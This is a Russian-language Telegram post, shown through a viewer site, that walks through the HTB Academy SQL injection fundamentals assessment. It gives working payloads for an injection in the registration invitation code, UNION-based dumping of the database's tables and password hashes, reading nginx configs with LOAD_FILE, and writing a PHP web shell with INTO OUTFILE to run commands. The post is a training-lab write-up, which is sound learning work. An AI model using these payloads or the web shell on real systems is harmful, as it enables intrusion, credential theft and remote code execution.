TGViewer
Сочный DevOps Сочный DevOps @andtree_sec · 420 subscribers
Post #200 204
Прохождение assesment по SQLi fundamentals HTB academy.

Вдруг кому-то понадобится.
В конце модуля дается веб-приложение со страницей логина и регистрации нового акк.

Какие бы payload для обхода аутентификации я не пробовал в поле ввода логина, оно не работает. После долгих поисков, решил проверить регистрацию, там меня смущала одна вещь - invite code, который нужно было ввести, чтобы создать акк. Естественно получить его не откуда, но в итоге SQLi скрывался в нем.

Payload в repeater Burp:
username=test&password=qwerty123%21&repeatPassword=qwerty123%21&invitationCode=aaaa-bbbb-1234 ' or '1'='1


В ответ увидим, что акк создан:
Location: /login.php?s=account+created+successfully!


Заходим на страницу, там можно выбрать conversation и поле search будет уязвимо. Тут уже подойдут (почти) payload-ы из изученной темы (UNION based SQLi).

Список баз:
admin') UNION select 1, 2, database(),4 from INFORMATION_SCHEMA.SCHEMATA #


Видим нужную нам chattr.

Получаем список таблиц:
admin') UNION select 1,2, TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES where table_schema='chattr'


В первом задание сказано, получить хеш пароля admin, выведем все:
admin') UNION select 1, 2, username, password from chattr.Users #


Далее нас просят ввести корневую директорию сервера. Есть подсказка, нужно читать конфиг веб-сервера. Через БД мы это можем сделать вот так:
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/nginx.conf" ), 4 -- -


Далее посмотрим стандартный default в sites-enabled:
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/sites-enabled/default" ), 4 -- -


Последнее задание прочитать флаг. Сделаем php shell через доступную нам запись в файл из БД.
admin') UNION SELECT "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/chattr-prod/shell.php'-- -


Доступные привилегии кстати можно посмотреть так:
admin ') UNION SELECT 1, 2, privilege_type, grantee FROM information_schema.user_privileges-- - 


Далее открываем shell.php?0=id, должен вернуться вывод команды id. Значит шелл работает. Смотрим, что у нас в корне
/shell.php?0=ls%20/`


Там будет флаг. Читаем его:
/shell.php?0=cat%20/<flag_file_name>.txt


#htb
  • 🔥 1
More from @andtree_sec
  1. Sep 7, 2026Давненько не было сообщений. Скорее всего в будущем они уйдут в telegraf, который я еще не…
  2. Jul 6, 2026Последнее время на работе часто приходится работать с apache flink и даже что-то писать на…
  3. Jun 4, 2026Немножко про молекула тесты... У нас принято использовать в переменных lookup плагин для д…
  4. May 20, 2026Очередной небольшой проект. Веб-приложение, которое агрегирует через стандартный механиз g…
  5. May 15, 2026Включаем профилирование в ansible Профилирование, это вывод даты, времени запуска и итогов…
  6. Apr 17, 2026Так выглядит общий dashbord работы с инцидентами.
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →